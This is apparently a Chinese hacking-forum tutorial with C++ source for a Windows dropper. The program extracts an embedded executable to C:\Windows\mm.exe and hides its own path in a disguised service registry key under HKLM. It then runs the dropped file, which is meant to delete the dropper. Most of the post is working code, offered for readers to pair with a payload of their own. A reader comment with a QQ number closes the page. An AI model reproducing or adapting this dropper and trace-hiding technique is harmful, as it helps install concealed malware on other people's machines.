当前位置:首页 > 编程技术 > 正文

膜拜各位黑阔大牛~小弟小白,啥都不会啥都不懂。要密码的私密就可以了,勿社!谢谢合作!

释放小程序并自删除【原创】

开发平台:VC

首先新建一个win32 应用程序的空项目

然后把你要释放的文件添加到资源里面

大家可以改个ID,这里本屌丝就不改了

接下来新建一个cpp文件

开始写代码

这里说一下大概的步骤

首先读取我们添加的资源文件到缓冲当中

然后把缓冲的数据写到某个目录(本屌丝是写到c:\windows\mm.exe)

之然后读取自身是在哪个路径(用来自删除用)

再然后把这个路径随意写到某个注册表

运行c:\windows\mm.exe

程序结束

mm.exe

这个程序一运行首先的任务就是读取注册表的那个路径

然后根据那个路径 把它删除掉

然后再运行功能

 

废话木了 直接上代码 会尽量有注释


  1. #include "resource.h"
  2. #include <Windows.h>
  3. #include <stdio.h>
  4. //写注册表字符串类型键值
  5. void CreateStringReg(HKEY hRoot, char *szSubKey, char* ValueName, char *Data)
  6. {
  7.     HKEY hKey;
  8.     //打开注册表键,不存在则创建它
  9.     long lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
  10.     if (lRet != ERROR_SUCCESS)
  11.     {
  12.         return;
  13.     }
  14.     //修改注册表键值,没有则创建它
  15.     lRet = RegSetValueEx(hKey, ValueName, 0, REG_EXPAND_SZ, (BYTE*) Data, strlen(Data));
  16.     if (lRet != ERROR_SUCCESS)
  17.     {
  18.         return;
  19.     }
  20.     RegCloseKey(hKey);
  21. }
  22. int APIENTRY WinMain(HINSTANCE hInstance,
  23.     HINSTANCE hPrevInstance,
  24.     LPSTR    lpCmdLine,
  25.     int       nCmdShow)
  26. {
  27.     //加载DLL资源
  28.     HRSRC hResInfo;
  29.     hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN");
  30.     if (hResInfo == NULL)
  31.         return 0;
  32.     HGLOBAL hRes;
  33.     hRes = LoadResource(NULL, hResInfo);
  34.     if (hRes == NULL)
  35.         return 0;
  36.     //获取系统目录 (c:\windows\mm.exe)
  37.     char SysPath[MAX_PATH] = { 0 };
  38.     GetWindowsDirectory(SysPath, MAX_PATH);
  39.     sprintf_s(SysPath, "%s\\mm.exe", SysPath);
  40.     //把资源释放出去
  41.     HANDLE hFile;
  42.     hFile = CreateFile(SysPath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  43.     if (hFile == NULL)
  44.         return 0;
  45.     DWORD dwBytes = 0;
  46.     WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
  47.     CloseHandle(hFile);
  48.     //写入程序本身完整路径到注册表,用于自删除
  49.     char FileName[MAX_PATH] = { 0 };
  50.     GetModuleFileName(NULL, FileName, MAX_PATH);
  51.     //我这里随便搞了个路径
  52.     CreateStringReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\helpsvc\\Parameters", "Temp", FileName);
  53.     //运行mm.exe
  54.     ShellExecute(NULL, "open", SysPath, NULL, NULL, SW_SHOW);
  55.     //结束
  56.     return 0;
  57. }

mm.exe的代码大家自己写哈

 

  1. 大神你好我的是VS2010 按照你的指导做的HRSRC hResInfo; hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), “BIN”);这个函数的返回值为NULL ! 环境不一样吗QQ903803743


安全联盟站长平台